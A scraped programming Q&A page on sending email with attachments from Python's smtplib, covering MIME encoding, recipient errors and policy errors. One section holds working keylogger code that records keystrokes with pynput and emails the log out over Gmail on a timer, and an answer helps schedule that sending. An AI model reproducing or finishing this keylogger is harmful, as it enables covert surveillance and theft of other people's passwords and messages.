Email using Python with Excel attachment - python

#!/usr/bin/env python3
import smtplib,email,email.encoders,email.mime.text,email.mime.base
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
msg = MIMEMultipart()
# me == my email address
# you == recipient's email address
me = "sender#email.com"
you = "reciever#email.com "
# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('mixed')
msg['Subject'] = "msg"
msg['From'] = me
msg['To'] = you
# Create the body of the message (a plain-text and an HTML version).
text = "Hi\nThis is text-only"
html = """\
<html> This is email</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
#attach an excel file:
fp = open('TestStatus.xlsx', 'rb')
file1=email.mime.base.MIMEBase('application','vnd.ms-excel')
file1.set_payload(fp.read())
fp.close()
email.encoders.encode_base64(file1)
file1.add_header('Content-Disposition','attachment;filename=anExcelFile.xlsx')
# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part2)
msg.attach(part1)
msg.attach(file1)
composed = msg.as_string()
fp = open('msgtest.eml', 'w')
fp.write(composed)
# Credentials (if needed)
# The actual mail send
server = smtplib.SMTP('dc1smtp.com')
server.starttls()
server.sendmail(me, you, msg)
server.quit()
fp.close()
also when running it, I see this error message.
Traceback (most recent call last):
File "excel.py", line 57, in <module>
server.sendmail(me, you, msg)
File "C:\Python33\lib\smtplib.py", line 775, in sendmail
(code, resp) = self.data(msg)
File "C:\Python33\lib\smtplib.py", line 516, in data
q = _quote_periods(msg)
File "C:\Python33\lib\smtplib.py", line 167, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Python33\lib\re.py", line 170, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
I have tested this code and it is working. the only problem i am having is that, when i run it, i dont recieve the emails that i am testing it with. But when i run this code. it creates a file named "msgtest.eml". This file is like a draft of my email or something.
can someone show me how to use this show and be an actually email instead of a draft?
thanks

To send mail from localhost:
import smtplib
me = "me#me.com"
you = "you#you.com"
# insert your code here
msg = ...
s = smtplib.SMTP('localhost')
s.sendmail(me, [to], msg.as_string())

Related

Sending email with zip file in Python

Script is working, i received zip file. But when i am trying to open zip file (WinRaR and 7-zip) i get error - archive is either in unknown format or damaged. Maybe problem related with encoding ???
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
import smtplib
def send_mail():
sender = '*****#mail.ru'
password = '*************'
smtp_obj = smtplib.SMTP('smtp.mail.ru', 587)
smtp_obj.starttls()
msg = MIMEMultipart()
msg['Subject'] = 'Data from Experiment'
msg['From'] = sender
msg['To'] = sender
with open(r'C:\Users\Admin\Desktop\Python\Python + SQL\Send_email\arch\arch.zip',encoding='CP866') as file:
# Attach the file with filename to the email
msg.attach(MIMEApplication(file.read(), Name='arch.zip'))
# Login to the server
smtp_obj.login(sender, password)
# Convert the message to a string and send it
smtp_obj.sendmail(sender, sender, msg.as_string())
#smtp_obj.quit()
send_mail()
Do not pass an encoding when opening a zip file. That's binary data and should be treated as such! open(..., 'b')

How to solve smtplib.SMTPDataError: (554, b'5.5.1 Error: no valid recipients') in python

I have to functions send_output_mail which will call process_mail to send mail to the given recipients with multiple attacthments.
Here is my code
import smtplib
from string import Template
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders
import os
import pandas as pd
server = '112.11.1.111'; port = 11
MY_ADDRESS = 'xyz#outlook.com'
from datetime import datetime
def process_email(**kwargs): # accept variable number of keyworded arguments
# get total email recipients
rcpt = []
for email in kwargs['emails']:
for i in email:
rcpt.append(i)
# set up the SMTP server
s = smtplib.SMTP(host=server, port=port)
msg = MIMEMultipart() # create a message
# setup the parameters of the message, to cc emails
msg['From'] = MY_ADDRESS
msg['To'] = ','.join(kwargs['emails'][0])
msg['Cc'] = ','.join(kwargs['emails'][1])
msg['Subject'] = kwargs['subject']
if 'attachments' in kwargs.keys():
for attachment in kwargs['attachments']:
fullpath_attactment = os.path.join(os.getcwd(),"Output_file",attachment) #will give full path of the file
with open(fullpath_attactment) as fp:
record = MIMEBase('application', 'octet-stream')
record.set_payload(fp.read())
encoders.encode_base64(record)
record.add_header('Content-Disposition', 'attachment',
filename=os.path.basename(fullpath_attactment))
msg.attach(record)
s.sendmail(MY_ADDRESS, rcpt, msg.as_string()) **#Getting Error Here**
s.quit()
def send_output_mail():
emails = [["xyz#outlook.com", "hy#outlook.com"], ["xxx#outlook.com","yy#outlook.com"]]
subject = "Reports"
process_email(emails=emails, subject=subject, attachments= ["xx.csv","yy.csv"])
Problem
As i Debugged i am getting smtplib.SMTPDataError: (554, b'5.5.1 Error: no valid recipients') while executing line
s.sendmail(MY_ADDRESS, rcpt, msg.as_string())
I have crosschecked and the mailid that i have written and it was also correct, still getting this error.

TypeError: 'utf8' is an invalid keyword argument for Compat32 smtplib email error message

I have been able to send personalized emails using the script below before, but all of a sudden I am getting the following error.
I am trying to read names and email ID's from a file and send a personalized email to each person. It picks a random subject from the list of subjects and uses a random delay. It worked fine until now but it won't now.
*Traceback (most recent call last):
File "C:/myprojects/normal_email.py", line 64, in <module>
main()
File "C:/myprojects/normal_email.py", line 57, in main
smtp.send_message(msg)
File "C:\Python\lib\smtplib.py", line 964, in send_message
bytesmsg, policy=msg.policy.clone(utf8=True))
File "C:\Python\lib\email\_policybase.py", line 72, in clone
raise TypeError(
TypeError: 'utf8' is an invalid keyword argument for Compat32*
import csv
from string import Template
import smtplib
import random
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
template_file = r'C:\Users\91880\Desktop\template.txt'
filename = r'C:\Users\91880\Downloads\2307.csv'
# reads the file and returns the names, emails in a list
def get_contacts(file):
names_list = []
emails_list = []
with open(file, 'r') as mail_data:
data = csv.reader(mail_data)
for details in data:
names_list.append(details[0])
emails_list.append(details[1])
return names_list, emails_list
# reads the template from a text file and returns
def get_template(file):
with open(file, 'r') as template_info:
template_data = template_info.read()
return Template(template_data)
def main():
email_user = 'myemail#mail.com'
password = 'mypassword'
subs = ['Hi', 'Hello']
names, emails = get_contacts(filename)
template = get_template(template_file)
with smtplib.SMTP('smtp.office365.com', '587') as smtp:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login(email_user, password)
for name, email in zip(names, emails):
subject = random.choice(subs)
number = random.randint(10, 30)
msg = MIMEMultipart()
message = template.substitute(name=name.title())
msg['From'] = email_user
msg['To'] = email
msg['Subject'] = subject
msg.attach(MIMEText(message, 'html'))
smtp.send_message(msg)
print(f'sent email to {name} at {email}')
del msg
time.sleep(number)
if __name__ == '__main__':
main()
This error occurs because there is at least one non-ascii character in one of the "to" or "from" addresses. It should be possible to fix it by setting the policy on the message to email.policy.default:
from email import policy
...
msg = MIMEMultipart(policy=policy.default)
The newer EmailMessage/EmailPolicy API is preferred over the old email.mime tools since Python 3.6. Using the preferred tools, the code would look like this:
from email.message import EmailMessage
from email import policy
...
msg = EmailMessage(policy=policy.default)
message = template.substitute(name=name.title())
msg['From'] = email_user
msg['To'] = email
msg['Subject'] = subject
msg.set_content(message, subtype='html')
smtp.send_message(msg)
For absolute RFC compatibility, you might consider setting the policy to SMTP, to generate \r\n line endings.

Make A Python Script Do Something Every Hour

for a project I am working on a python keylogger. I have completed both the key logging module and the email module which sends the log files back to me but am having trouble on merging them together. I would like the keylogger to send me an email including the log file every 24 hours. How could I do that?
I tried using a simple time.sleep() delay but since the keylogging module only stops when I kill it as a process it never gets to the delay because it is "infinite" you could say.
Here is my current code:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
#Keylogging Module
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
#Email module
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
Please explain answers very simply because I am an absolute beginner.
Edit: This is the new code, which unfortunetly doesn't work.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
Edit 3: Re-organized the code, works but incomplete logs are sent.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
#Keylogging Module
def on_press(key):
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
Edit 4: This error appears when using code form Edit 3:
Traceback (most recent call last):
File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
Listener.join()
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
raise value.with_traceback(tb)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
return f(self, *args, **kwargs)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
self.on_press(key)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
if f(*args) is False:
File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
file.write(str(key))
ValueError: I/O operation on closed file.
As per this answer: https://stackoverflow.com/a/3393759/1910863
You can use a threading timer. Here is the code snippet from the linked answer:
import threading
def printit():
threading.Timer(5.0, printit).start()
print "Hello, World!"
printit()
You would call (or schedule) your method at the start of your script and it will re-schedule itself every time it fires.
If you like this answer, you should upvote the linked answer as he is the one that deserves the credit for it.

sent mail from python CGI - Error

I'm trying to send a mail with from cgi web console using email input field but it fails with below error in apache logs
Traceback (most recent call last):
File "/opt/apache-dba/cgi-bin/main.py", line 132, in <module>
mail()
File "/opt/apache-dba/cgi-bin/main.py", line 129, in mail
s.sendmail(me, you, msg.as_string())
File "/usr/lib64/python2.7/smtplib.py", line 742, in sendmail
raise SMTPRecipientsRefused(senderrs)
smtplib.SMTPRecipientsRefused: {'xxx#adp.com/': (501, '5.1.3 Bad recipient address syntax')}
But I'm able to run the same code and able to receive the mail from python shell
Below is the code, this looks like when I run the code from cgi it is trying to convert mailid from 'xxx#adp.com' to 'xxx#adp.com/' resulting syntax error.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
Emailid = xxx#gmail.com
Link='http://google.com'
def mail():
me = "GETS.INDIA.DDS.TAM#gmail.com"
you = str(Emailid)
msg = MIMEMultipart('alternative')
msg['Subject'] = "Upgrade Status Link"
msg['From'] = me
msg['To'] = you
text = '%s' % str(Link)
part1 = MIMEText(text, 'plain')
msg.attach(part1)
s = smtplib.SMTP('localhost')
s.sendmail(me, you, msg.as_string())
s.quit()
mail()
any help will be greatly appreciated, Thank you
It looks like Emailid should be a string. Try surrounding your test email in quotes to make it a string.
Emailid = 'xxx#gmail.com'

Categories

Resources